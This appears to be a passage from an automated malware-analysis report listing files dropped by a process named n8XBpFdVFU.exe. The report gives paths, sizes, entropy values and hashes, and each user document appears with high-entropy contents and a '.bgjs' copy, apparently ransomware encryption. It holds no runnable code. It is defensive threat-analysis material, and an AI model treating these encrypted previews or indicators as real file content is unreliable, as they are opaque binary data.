....<{...0:R)..E.9......;....=.a...~^i9...........'p.....{._Sd.%..=s.S..i..wN..R.......p+0.%w..$A2FyN.._.h.N...W....v<.P...\.1.$...u.......g.......y...,.Q."k.<...#5.......b.&...".4..h..Db....l[.B..Pm...$:w..5.z29....P..:..mWDT.0.............i.T...>...6.2....z..y

C:\Users\user\Desktop\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850281064449223
Encrypted:	false
SSDEEP:	24:lBQWQvrAxRySy0ByVzoNuZ6KncMNAe8/oXzdN2waI8NTx/0WaNlbD:lGr4vuMKcMNtXewDSeN1D
MD5:	DD9A2EB6E64EA4B48A3D4F2E163E18A4
SHA1:	7469C1E6F45AF04BB7B1D2003DBAFD994CBB6E34
SHA-256:	9D525255520DC5685E4BFFF4DCC4AF121060CA7B031309F1B6B34D5CF00F9031
SHA-512:	1682155D5BC4CDF01C2F52F3F80272CBC81F39C61BEA5D895DAA928CB09C394130D1E3E9C315EAADCCA7D5854FBE3892667FA3F1F43804438A7C2E9AC2E090BE
Malicious:	false
Preview:	ONBQC$.X..z..J....lt.2W.Ck.j...~...P..........ggP..So.$..p.U..i...cB.-S..R......L........e.<..'J.ap`%\|m..8..I;...>...g...,8.d..b.L<..Sj._y.-.>;.t..R..Gv;...Y.3K+.4...E.!0.H>..RC.....5.......[..J.(.qk.9SK.B"?.0.e.....o..\..l....UI.7.FG.Z....H..b.yA.or"0.d....q#....<...y.y..~....L.{.".....w7..f............(f.DJ..V'..uGe?j[.........'....\|_aJ...MF.....Y8.8i=...<.'.#[.].^w..&.....J.4=...3_.u.8n-...G.....d....a...........t"..tK...{............#[.........r6.^.....r"-Y......_.%...G....T0.)....cnL...c....l.".. ,...+..wd..C4.KCJ..V.sQ,N^....W:;.u..Z.T...,V \|........W.!...Ar.t..?....5sq.f1...MM2./........pw?.)A3l..\|.'-.J..L3........Lj.(...A..V..p. ..LK.l.2l.g..'..(..1._..\|.\.~.h.Yg../..ml..Y.).Qby..]......b}.H.c.N..</.E......h..>.k.K.4r0Ns.. H.H-._.t$\|._.F.."k..Y...e."...5...%.3.s]m../Q.k.......7.L.}.Tf..b.p~i.J.'..0aj...9.0...f..2U...(...W.......G.....=(-.u...jR.e...Tc.....~u.N.<.&.IK.0z..Y..x;..... n5n....1[.m:.....Q.jY......J.........)a.l.NM.8$.f4I.K.

C:\Users\user\Desktop\ONBQCLYSPU.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850281064449223
Encrypted:	false
SSDEEP:	24:lBQWQvrAxRySy0ByVzoNuZ6KncMNAe8/oXzdN2waI8NTx/0WaNlbD:lGr4vuMKcMNtXewDSeN1D
MD5:	DD9A2EB6E64EA4B48A3D4F2E163E18A4
SHA1:	7469C1E6F45AF04BB7B1D2003DBAFD994CBB6E34
SHA-256:	9D525255520DC5685E4BFFF4DCC4AF121060CA7B031309F1B6B34D5CF00F9031
SHA-512:	1682155D5BC4CDF01C2F52F3F80272CBC81F39C61BEA5D895DAA928CB09C394130D1E3E9C315EAADCCA7D5854FBE3892667FA3F1F43804438A7C2E9AC2E090BE
Malicious:	false
Preview:	ONBQC$.X..z..J....lt.2W.Ck.j...~...P..........ggP..So.$..p.U..i...cB.-S..R......L........e.<..'J.ap`%\|m..8..I;...>...g...,8.d..b.L<..Sj._y.-.>;.t..R..Gv;...Y.3K+.4...E.!0.H>..RC.....5.......[..J.(.qk.9SK.B"?.0.e.....o..\..l....UI.7.FG.Z....H..b.yA.or"0.d....q#....<...y.y..~....L.{.".....w7..f............(f.DJ..V'..uGe?j[.........'....\|_aJ...MF.....Y8.8i=...<.'.#[.].^w..&.....J.4=...3_.u.8n-...G.....d....a...........t"..tK...{............#[.........r6.^.....r"-Y......_.%...G....T0.)....cnL...c....l.".. ,...+..wd..C4.KCJ..V.sQ,N^....W:;.u..Z.T...,V \|........W.!...Ar.t..?....5sq.f1...MM2./........pw?.)A3l..\|.'-.J..L3........Lj.(...A..V..p. ..LK.l.2l.g..'..(..1._..\|.\.~.h.Yg../..ml..Y.).Qby..]......b}.H.c.N..</.E......h..>.k.K.4r0Ns.. H.H-._.t$\|._.F.."k..Y...e."...5...%.3.s]m../Q.k.......7.L.}.Tf..b.p~i.J.'..0aj...9.0...f..2U...(...W.......G.....=(-.u...jR.e...Tc.....~u.N.<.&.IK.0z..Y..x;..... n5n....1[.m:.....Q.jY......J.........)a.l.NM.8$.f4I.K.

C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858177152279735
Encrypted:	false
SSDEEP:	24:gc/Mj5ztHWOQm8/nO0rEuDgjO9xDI5eT6NQ8/KbsbD:gcEVzwm+O0rEuDg6xDkeT6ezaD
MD5:	DFDDA4B672F06B8C91312658C105B405
SHA1:	666F2F080D4C8286CCF413D4B5BB181D74135AA2
SHA-256:	A19B741BA44C30723E90307E8B2DF087C2EA892907F1E8985F2C8B2004FC206B
SHA-512:	6BD969F3BAFE3A75C706FCA0B33BDCB29CE2AE4A6D5BE6A4EE20D08186EAF1AAA8B2511D9EA1EEA0C12832BB44C173F4EBE68121258001CD21F02CA96CA090D7
Malicious:	false
Preview:	LTKMY^.0]....."..c:Flwu2+e@... ..B.J..~....u..\.....^..e...5..<..l7.&.....].:....n.YV.;....%.,?.Y..E.....%.,H..5\|K.;md....>.4...-..R.cKV.....]nZ.4...6.9\|...z.... [U.~...-.z?..../...RI..C..c..d.^..t..u>..9.....I.I.X/...(.~.s.....#.......B.C._~..g.N..y........s..M....[..B.S.%.y.5..Q[--.Fd.\|.3F...9....'C...K...q..,...y..'...J..v..../Wf_..p.....tL.O...wr.V&...........n....i.V..U.8....<..2.&...A."..G%Tg.T..I...A.1-..w....r.7..!....b.4....^$..Ug..`...(e.f.Eb. .{...A.}....I%.@..I.V..'.X.........IH.B.3.6y..B{g.63.-.9.......h..S!..DR..@&.y.(.:.S.G_..cA...< ..;.....8.......u...q.RS.....}x.."~.\.lx#...s......"H4.T....}.V..O.G."P....V..+..9....".S..c.]Rd.JB...YSLW^D.J..H.rG^.?B.MO.z...<..By.gN.f.rxq!g.U.3m.k..k\^]FEJ..k.7.]...1....y.%...E.o.B~_..Dt....6N..;&.M..k+..+t....<.8xf^.c.n.../a...@.3Z.%...r<s..q.].I.\|...dA4t"=u.7K.\....h.....8........sf-"...........>7..u(.....r.DM+.ar6..;I.,N..b.....d....X,...&...[..mJS..Lr....\|\...$..O.-.......

C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858177152279735
Encrypted:	false
SSDEEP:	24:gc/Mj5ztHWOQm8/nO0rEuDgjO9xDI5eT6NQ8/KbsbD:gcEVzwm+O0rEuDg6xDkeT6ezaD
MD5:	DFDDA4B672F06B8C91312658C105B405
SHA1:	666F2F080D4C8286CCF413D4B5BB181D74135AA2
SHA-256:	A19B741BA44C30723E90307E8B2DF087C2EA892907F1E8985F2C8B2004FC206B
SHA-512:	6BD969F3BAFE3A75C706FCA0B33BDCB29CE2AE4A6D5BE6A4EE20D08186EAF1AAA8B2511D9EA1EEA0C12832BB44C173F4EBE68121258001CD21F02CA96CA090D7
Malicious:	false
Preview:	LTKMY^.0]....."..c:Flwu2+e@... ..B.J..~....u..\.....^..e...5..<..l7.&.....].:....n.YV.;....%.,?.Y..E.....%.,H..5\|K.;md....>.4...-..R.cKV.....]nZ.4...6.9\|...z.... [U.~...-.z?..../...RI..C..c..d.^..t..u>..9.....I.I.X/...(.~.s.....#.......B.C._~..g.N..y........s..M....[..B.S.%.y.5..Q[--.Fd.\|.3F...9....'C...K...q..,...y..'...J..v..../Wf_..p.....tL.O...wr.V&...........n....i.V..U.8....<..2.&...A."..G%Tg.T..I...A.1-..w....r.7..!....b.4....^$..Ug..`...(e.f.Eb. .{...A.}....I%.@..I.V..'.X.........IH.B.3.6y..B{g.63.-.9.......h..S!..DR..@&.y.(.:.S.G_..cA...< ..;.....8.......u...q.RS.....}x.."~.\.lx#...s......"H4.T....}.V..O.G."P....V..+..9....".S..c.]Rd.JB...YSLW^D.J..H.rG^.?B.MO.z...<..By.gN.f.rxq!g.U.3m.k..k\^]FEJ..k.7.]...1....y.%...E.o.B~_..Dt....6N..;&.M..k+..+t....<.8xf^.c.n.../a...@.3Z.%...r<s..q.].I.\|...dA4t"=u.7K.\....h.....8........sf-"...........>7..u(.....r.DM+.ar6..;I.,N..b.....d....X,...&...[..mJS..Lr....\|\...$..O.-.......

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841069925416382
Encrypted:	false
SSDEEP:	24:nIw0gw09LVVmxfGT3EtHd7yRtTBiheKHln3ykSgux7sv0yuzds+oUobD:IXl09JIlGT3GW9BiVl3yHBdsv0b/o/D
MD5:	7262C87F18D05D3C5231AB772B0E8C76
SHA1:	202E2BF9DA45BC9FD4B3EAD0571D6AD343C1E706
SHA-256:	62D043ADF13F0025A69C08781DBB28F110F9A343B94380E76787690192A7AD57
SHA-512:	E02A2120AE4C7D9A28BDFFE4C2B2247D3DC761B3A712673D4BCD27E5F8721D5619853628CB1D1958C9EB3EA80B31EED924C66917E8F2E9BCB2AD2BB4C5931E17
Malicious:	false
Preview:	YPSIAM..9...\|M.........).. .)'n;R.Ne.8\...7.9.q@M..5$B.....V....!mP...M...).....3....vGr6.\|q...N...[_.b......(@.&,fr+..R...wJ..d.-^HM.8.T..K..7,n1p)n.t.~.,>bZ.\|...~.Tl.Et....v8c..lBw......h..E..TMR...>.E..k.{m.t'..4J.l."...i..s.x..D."..y.R`9=t...idv^/G%....R..P.A...vK.f...(.Iu..:.m.<{.a...G.p.R...}..b...1.O..4CTY./.],=.h.>..`..#E.x.....yP......'...g...B.Rr..^...kl.....)+.p....#..R.#T...X.....,>....~PP.IS..}..+....".h.p.n(...v.&....]o.HR&...M=....i?...6!i.54.N.....5.>KQIV"b.f..CH\|j.#.}.q.w.zx]LMr..B....UJ..6.E8....h.......;x.JK..i.U.`e..u..K..z.I....u...4.T.,3. .wjdx.C.R...F'C..].....)...H.%\|'.....v.....i.,..yWx..P]. .5..KR<.....ae.:]'..f..v..h4?...)~..`..........?6.o t.7GL.o.%.....4#.....t.=.&.@..wOb.?.i...p^....V%.6.r._...>..1{....)..Iv..T.+G.y.F.Cg....}.,^I.....d..S.2.Rz..W.ao.5!\|?.....r.....=.i.....j....F....S[.....u...d....Nb.:p%M......!zL..=...vTu....l.m"X+....k...S.;.T.2.!/..i...E.B.@\.e.d.y......eS.f.Q. .X...s...,#.X.o.6IJ.g..`S...,.v.%)..

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841069925416382
Encrypted:	false
SSDEEP:	24:nIw0gw09LVVmxfGT3EtHd7yRtTBiheKHln3ykSgux7sv0yuzds+oUobD:IXl09JIlGT3GW9BiVl3yHBdsv0b/o/D
MD5:	7262C87F18D05D3C5231AB772B0E8C76
SHA1:	202E2BF9DA45BC9FD4B3EAD0571D6AD343C1E706
SHA-256:	62D043ADF13F0025A69C08781DBB28F110F9A343B94380E76787690192A7AD57
SHA-512:	E02A2120AE4C7D9A28BDFFE4C2B2247D3DC761B3A712673D4BCD27E5F8721D5619853628CB1D1958C9EB3EA80B31EED924C66917E8F2E9BCB2AD2BB4C5931E17
Malicious:	false
Preview:	YPSIAM..9...\|M.........).. .)'n;R.Ne.8\...7.9.q@M..5$B.....V....!mP...M...).....3....vGr6.\|q...N...[_.b......(@.&,fr+..R...wJ..d.-^HM.8.T..K..7,n1p)n.t.~.,>bZ.\|...~.Tl.Et....v8c..lBw......h..E..TMR...>.E..k.{m.t'..4J.l."...i..s.x..D."..y.R`9=t...idv^/G%....R..P.A...vK.f...(.Iu..:.m.<{.a...G.p.R...}..b...1.O..4CTY./.],=.h.>..`..#E.x.....yP......'...g...B.Rr..^...kl.....)+.p....#..R.#T...X.....,>....~PP.IS..}..+....".h.p.n(...v.&....]o.HR&...M=....i?...6!i.54.N.....5.>KQIV"b.f..CH\|j.#.}.q.w.zx]LMr..B....UJ..6.E8....h.......;x.JK..i.U.`e..u..K..z.I....u...4.T.,3. .wjdx.C.R...F'C..].....)...H.%\|'.....v.....i.,..yWx..P]. .5..KR<.....ae.:]'..f..v..h4?...)~..`..........?6.o t.7GL.o.%.....4#.....t.=.&.@..wOb.?.i...p^....V%.6.r._...>..1{....)..Iv..T.+G.y.F.Cg....}.,^I.....d..S.2.Rz..W.ao.5!\|?.....r.....=.i.....j....F....S[.....u...d....Nb.:p%M......!zL..=...vTu....l.m"X+....k...S.;.T.2.!/..i...E.B.@\.e.d.y......eS.f.Q. .X...s...,#.X.o.6IJ.g..`S...,.v.%)..

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866865964170664
Encrypted:	false
SSDEEP:	24:KRtnRlRAtJkzDHEHVJQZ1zbwOzHpBX4d7m+4rmkNhyZzd9dfHbcR8jxbD:KHRlRu47EHVJszbwSundtndfHbcR8ND
MD5:	BA0C179645035AF1B164261882FF1112
SHA1:	7D33848230DF499B5FA3731AD8E43DED319FC4CF
SHA-256:	A93DEF5D02082FA8AF3A366996C3D24194A5380CA2CD951ADD180734D7B9904F
SHA-512:	270FEDF52364F19AD816E7DBC07F146EE96EA8770BD581B0C80955B1ACC2D94E345D6F2CC18EB957B0AEC0EFE9C6786F0B32BBF4D83AB8A74272A071F940D024
Malicious:	false
Preview:	NWTVC9j.0;A......@..x}.M1.r.......A.<....".F...#... ..Q[..o.\..."w..;..-..G..b..i......K....9..`.>.P.v..y4l....b..o.f@..5S......./..... (:XK..{Yl.....a.=.%pzk..J.op2.)...\|.K....3..v...T..Q......?]..D......#..tK......T....'... .j#.c..L.C.......3...\|.~.VM.u.;k....gy.\|g.....g.R.~..:.c......Z.iKp{..S...js.B...\..m...YE... ..^...`q...d.u..4;..M...R.0KK'/ I..Cg...].z......RD.}Zc.,.B4n.....Z.4q.....T..(.........wqY.2...K......9.r....tp.0@f<....~.j5c.r....[ssd..h..d..}w;.<_...(.eN...kr.....3.....w..5..].m....2%..sY,2.rp.k.......X...f...`U....T.,:...Y+F,..x.+...[.&.k..q .h{kr\|DH.4G:3.....M!.n............2..U...H.T.{.....7.=...zxd.LZ>FS..v..".A...6\.3Y....J7....J.....JM.^...}."._.`.z.....-..48.?Q..,...6..V...l./..w<9M.7[..y^..E...9.4;Jy..du.v.Tkn.V..A...g....UK...k...........[.U.......0jqX,Fg.ti.:..x.....k....4...H.. `.6..4W...?5..B.7....3....Z%f.NM>.".._.....z.@..m.....ku..Yh....9xw.t.lWg..?...q...._.PO.p.yC...X.R.#.......a........

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866865964170664
Encrypted:	false
SSDEEP:	24:KRtnRlRAtJkzDHEHVJQZ1zbwOzHpBX4d7m+4rmkNhyZzd9dfHbcR8jxbD:KHRlRu47EHVJszbwSundtndfHbcR8ND
MD5:	BA0C179645035AF1B164261882FF1112
SHA1:	7D33848230DF499B5FA3731AD8E43DED319FC4CF
SHA-256:	A93DEF5D02082FA8AF3A366996C3D24194A5380CA2CD951ADD180734D7B9904F
SHA-512:	270FEDF52364F19AD816E7DBC07F146EE96EA8770BD581B0C80955B1ACC2D94E345D6F2CC18EB957B0AEC0EFE9C6786F0B32BBF4D83AB8A74272A071F940D024
Malicious:	false
Preview:	NWTVC9j.0;A......@..x}.M1.r.......A.<....".F...#... ..Q[..o.\..."w..;..-..G..b..i......K....9..`.>.P.v..y4l....b..o.f@..5S......./..... (:XK..{Yl.....a.=.%pzk..J.op2.)...\|.K....3..v...T..Q......?]..D......#..tK......T....'... .j#.c..L.C.......3...\|.~.VM.u.;k....gy.\|g.....g.R.~..:.c......Z.iKp{..S...js.B...\..m...YE... ..^...`q...d.u..4;..M...R.0KK'/ I..Cg...].z......RD.}Zc.,.B4n.....Z.4q.....T..(.........wqY.2...K......9.r....tp.0@f<....~.j5c.r....[ssd..h..d..}w;.<_...(.eN...kr.....3.....w..5..].m....2%..sY,2.rp.k.......X...f...`U....T.,:...Y+F,..x.+...[.&.k..q .h{kr\|DH.4G:3.....M!.n............2..U...H.T.{.....7.=...zxd.LZ>FS..v..".A...6\.3Y....J7....J.....JM.^...}."._.`.z.....-..48.?Q..,...6..V...l./..w<9M.7[..y^..E...9.4;Jy..du.v.Tkn.V..A...g....UK...k...........[.U.......0jqX,Fg.ti.:..x.....k....4...H.. `.6..4W...?5..B.7....3....Z%f.NM>.".._.....z.@..m.....ku..Yh....9xw.t.lWg..?...q...._.PO.p.yC...X.R.#.......a........

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8507160109879335
Encrypted:	false
SSDEEP:	24:M4Wu8c0a+NVpMjDR3ViOj6CIGqtjPLbzM6/TVy4VjbD:M4WhcuVWjDfWCIGqlLbz9TnJD
MD5:	221D1027D4F7EF963C93B1A3FE0846DE
SHA1:	999741E5753AA02AB4AF7519CBA41191E2CB33F1
SHA-256:	6C3DB5088CEEE6DB91872E78630EB4F6668FB0F95FC1C95CA176BB40E3BF0D7A
SHA-512:	08BB3C8D66178A5BE6D9C9198114CABEA90460559AE53E6DF7BCB4788AB803D59623082831A6145B8F94020C1EDA9C4CF12A6295A76984AE146FF74F1CAC3614
Malicious:	false
Preview:	XZXHA.T?tZ..N,iT........TR.}v..:..f...#..Q..F3..`Q.u.4....1..;#..N...C....\l...z.+.:.k.....4.B...o.yw..4..<...x. ./\@........~7'Vv.dq&,.._....V...p..`..j.._(wk.._....jQ...ik...4....)n.D...i...F.....'..0.ZN...-q...%....A..Ba.~....&"1..ua.}....&;.t......2E..lW.^$.......R.u.#.j\|...X0?...&.....+....:a.....]..r.@vd.4.$.w3...8.b"/od....b.tH..(^..lF:..9".......4n..}.>{g.GK.F..# .]./X..&.'s<~.p....U..W..4T...W.GJv>+...q....../.g..tj.r.{.vHg..>v...y..?...Kw..U.F..6.........g.F...(..{g]...$9#.r...O...yu..A.xz."....H.1.....G/...........~.........u..Z`..1HA..&od>........5.x.4.e..x..r1Y.X.8}+.p.M.....D....+.$..n...!N\|..%.0W:...abKr.....f...I.G......C..qU.m5..14]....\m%...Z...I..B..+... ......E_..de.2N.i.C...\.[..>.V.).B.-....7!....v...Y.......H.n-..4..j..'....1cW.3&..J`....$8c...#.fO..<.y.....0n.....kde^.+.[.....;...A\."..rjh.k.!2O...U....k...4..-....4.1B.....{..$'..d5...5-...7...p\|C.G...Q.R.E.....^.\^....r....V.{....#t....$....4.D-h..

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8507160109879335
Encrypted:	false
SSDEEP:	24:M4Wu8c0a+NVpMjDR3ViOj6CIGqtjPLbzM6/TVy4VjbD:M4WhcuVWjDfWCIGqlLbz9TnJD
MD5:	221D1027D4F7EF963C93B1A3FE0846DE
SHA1:	999741E5753AA02AB4AF7519CBA41191E2CB33F1
SHA-256:	6C3DB5088CEEE6DB91872E78630EB4F6668FB0F95FC1C95CA176BB40E3BF0D7A
SHA-512:	08BB3C8D66178A5BE6D9C9198114CABEA90460559AE53E6DF7BCB4788AB803D59623082831A6145B8F94020C1EDA9C4CF12A6295A76984AE146FF74F1CAC3614
Malicious:	false
Preview:	XZXHA.T?tZ..N,iT........TR.}v..:..f...#..Q..F3..`Q.u.4....1..;#..N...C....\l...z.+.:.k.....4.B...o.yw..4..<...x. ./\@........~7'Vv.dq&,.._....V...p..`..j.._(wk.._....jQ...ik...4....)n.D...i...F.....'..0.ZN...-q...%....A..Ba.~....&"1..ua.}....&;.t......2E..lW.^$.......R.u.#.j\|...X0?...&.....+....:a.....]..r.@vd.4.$.w3...8.b"/od....b.tH..(^..lF:..9".......4n..}.>{g.GK.F..# .]./X..&.'s<~.p....U..W..4T...W.GJv>+...q....../.g..tj.r.{.vHg..>v...y..?...Kw..U.F..6.........g.F...(..{g]...$9#.r...O...yu..A.xz."....H.1.....G/...........~.........u..Z`..1HA..&od>........5.x.4.e..x..r1Y.X.8}+.p.M.....D....+.$..n...!N\|..%.0W:...abKr.....f...I.G......C..qU.m5..14]....\m%...Z...I..B..+... ......E_..de.2N.i.C...\.[..>.V.).B.-....7!....v...Y.......H.n-..4..j..'....1cW.3&..J`....$8c...#.fO..<.y.....0n.....kde^.+.[.....;...A\."..rjh.k.!2O...U....k...4..-....4.1B.....{..$'..d5...5-...7...p\|C.G...Q.R.E.....^.\^....r....V.{....#t....$....4.D-h..

C:\Users\user\Desktop\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850055502345371
Encrypted:	false
SSDEEP:	24:y62/46N5FgzuFNuifg+j6u877ANW5vTA3Mnb+ZYWMClkmM+qG1VWUbD:i46N5ezR5u80qOEkhB6G1VpD
MD5:	24A432F99942007C11910C76E5AD13BE
SHA1:	15949AA04BE0DA797E575DAE5D04E8EF66F88F6A
SHA-256:	CBE9B76FFEC0CDA4B237C4ABD8CEE47F5B52953FFC319D7752477F187DADAABC
SHA-512:	4381C1907D6505236E3119A1628D6FDBA36D8F6BBC35747E347A6D46DAC6768DD29B97515463E4F8BB2857DEF7AF95BB58BC0EB8797FC2464B89BCB8188C632A
Malicious:	false
Preview:	YPSIA..?Nz..Bs.%....4....COB_j...-...U......x.C.YW.m.ay.L;...w.9...T.}-\.[Fn}1:...[%@.8@.......`W{...S[!.`.p})'...7..,Q..2.p..\|.D'..F..v.a.:.'+....e.^.S...]F.....<.....!\....A2....qXz....n}."..+....H^...`..!....Q.o.=..=.i.Ob[j'M..g.....JC...).~.....>L3.f"...@...S...b.l....fb.a..z.!...^..i... ....9...... w1...m1.).....0.l.[.pH.~'u.@b>.S8.K.l(x..b......%.Y..r.#=...?.(..N.9..o..\|.:=.iR.=../.oj............o.."G5..`qX.q.K.Y.....YI.v<..7v...e@c............]75.'....,'.y.g... ........&.5.>.}s...nH$.`,.r..pr.....ca.m.d@.e.C.a.Nx...A...v..(;...u....b......G9.....w.9n.K..g^...3cg).q....n..Q..L/...8.7...HnI6..>.f./.UM.Y.......!.....?.y....H2M....nS...qcn.....m.!GD,.3. ......T..4.Hn......JF... .......x....;.}.u51..fT.i.bU...^.X.m.]8..H.D,F..oz{K..\|....z}.)...]m..R..I..99%.\.o2.....I..M....P.c..vW......1..oW........^.....t&wLk].cF..A.2....z<.....m.....TM.g..C..... /....F~X*p=?$......k2/.........r.%.>..r..hN.2...<.Ch.D.......N...,-...G...hc9z.u.....#.....5

C:\Users\user\Desktop\YPSIACHYXW.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850055502345371
Encrypted:	false
SSDEEP:	24:y62/46N5FgzuFNuifg+j6u877ANW5vTA3Mnb+ZYWMClkmM+qG1VWUbD:i46N5ezR5u80qOEkhB6G1VpD
MD5:	24A432F99942007C11910C76E5AD13BE
SHA1:	15949AA04BE0DA797E575DAE5D04E8EF66F88F6A
SHA-256:	CBE9B76FFEC0CDA4B237C4ABD8CEE47F5B52953FFC319D7752477F187DADAABC
SHA-512:	4381C1907D6505236E3119A1628D6FDBA36D8F6BBC35747E347A6D46DAC6768DD29B97515463E4F8BB2857DEF7AF95BB58BC0EB8797FC2464B89BCB8188C632A
Malicious:	false
Preview:	YPSIA..?Nz..Bs.%....4....COB_j...-...U......x.C.YW.m.ay.L;...w.9...T.}-\.[Fn}1:...[%@.8@.......`W{...S[!.`.p})'...7..,Q..2.p..\|.D'..F..v.a.:.'+....e.^.S...]F.....<.....!\....A2....qXz....n}."..+....H^...`..!....Q.o.=..=.i.Ob[j'M..g.....JC...).~.....>L3.f"...@...S...b.l....fb.a..z.!...^..i... ....9...... w1...m1.).....0.l.[.pH.~'u.@b>.S8.K.l(x..b......%.Y..r.#=...?.(..N.9..o..\|.:=.iR.=../.oj............o.."G5..`qX.q.K.Y.....YI.v<..7v...e@c............]75.'....,'.y.g... ........&.5.>.}s...nH$.`,.r..pr.....ca.m.d@.e.C.a.Nx...A...v..(;...u....b......G9.....w.9n.K..g^...3cg).q....n..Q..L/...8.7...HnI6..>.f./.UM.Y.......!.....?.y....H2M....nS...qcn.....m.!GD,.3. ......T..4.Hn......JF... .......x....;.}.u51..fT.i.bU...^.X.m.]8..H.D,F..oz{K..\|....z}.)...]m..R..I..99%.\.o2.....I..M....P.c..vW......1..oW........^.....t&wLk].cF..A.2....z<.....m.....TM.g..C..... /....F~X*p=?$......k2/.........r.%.>..r..hN.2...<.Ch.D.......N...,-...G...hc9z.u.....#.....5

C:\Users\user\Documents\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834895179180749
Encrypted:	false
SSDEEP:	24:d0q8zNOQBQ3XjZicliNtKKTn5wbS2PzyoyY7wubwBJ5bD:4wQBQ3TocyN5wJp7wu8FD
MD5:	CDBA26FB0BA9DC8F284D1F42BA60BF9A
SHA1:	F8BE5BFCA2C1394FFB37791FD100DBA2EE649FAA
SHA-256:	CBFFBD6D25FF5985C2AD46AA81C14EA4FA698D3A11EC2826730D09B6571A1571
SHA-512:	85256AB03AE7F1444FF5550D5F711D6AE06B7D7E7083FD0F93D1A5E5E2425BF13DB024571078E6C56A3C330FB2B05EB61E072E4B43263057FB54D4B1951FBABB
Malicious:	false
Preview:	ONBQC..z=...=f./9\|.zh.g......:)..=.IZ).`.~.Dv...V.<f......H.Y....Y.T4P.p.....A....-m.+...5..O.=9.K?.k.e0.3yR:4......._.....A,.....n.....ZQV..e%.n(..'Y...{.l.].6....D...%.b'.S.......?D.....=._.x...$..3.#0~.u..{ye.......^.:Z.$..7...Y..;..7@.I9.....).Bt..../.V..........P.....k}..y.9m.K. .1..D.n...PB.(w..X.Z{..Be.y.F.0.... .A..tY.6.\|..........Y..&...q.......yi...f.b....:...<.....Z..........:Y..s.eza..:z..\|.D~..,^.....z.c...A. ..d....B...?..Dw"..C%..../...`.NO.D~.2 .'vG...>!ZiK...F......m....~.?...&DBE.o....7.......1.....Jh.F..p.[..E..,.......@...v.......c.3...(..s......M...8.`......,..Y?.,&!s.).5......u.[..x\........1.ssLv.7.fv7.E.Q>Fw..r1.yE)l.3.4.....jZ.."J._.uc.....0.'pA.O...M..u).Dh..S.......c{W.....`.~;.WY.K...E..JU.g..y.he..7.IS]%m.9...2..[......~.7kA.6..7YB.....E.ya..l.".......3.2.....:...rj..z,.&...6n.z...u...A..U.n.6....6=.<....B....XD...H....)k...5.;)O...$..w+n..M_.]..l..,.!s.+.....1.....9.$K..u.w.V.4w{....F.#.Z.K..NM.Q*...o.f.w..

C:\Users\user\Documents\DTBZGIOOSO\ONBQCLYSPU.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834895179180749
Encrypted:	false
SSDEEP:	24:d0q8zNOQBQ3XjZicliNtKKTn5wbS2PzyoyY7wubwBJ5bD:4wQBQ3TocyN5wJp7wu8FD
MD5:	CDBA26FB0BA9DC8F284D1F42BA60BF9A
SHA1:	F8BE5BFCA2C1394FFB37791FD100DBA2EE649FAA
SHA-256:	CBFFBD6D25FF5985C2AD46AA81C14EA4FA698D3A11EC2826730D09B6571A1571
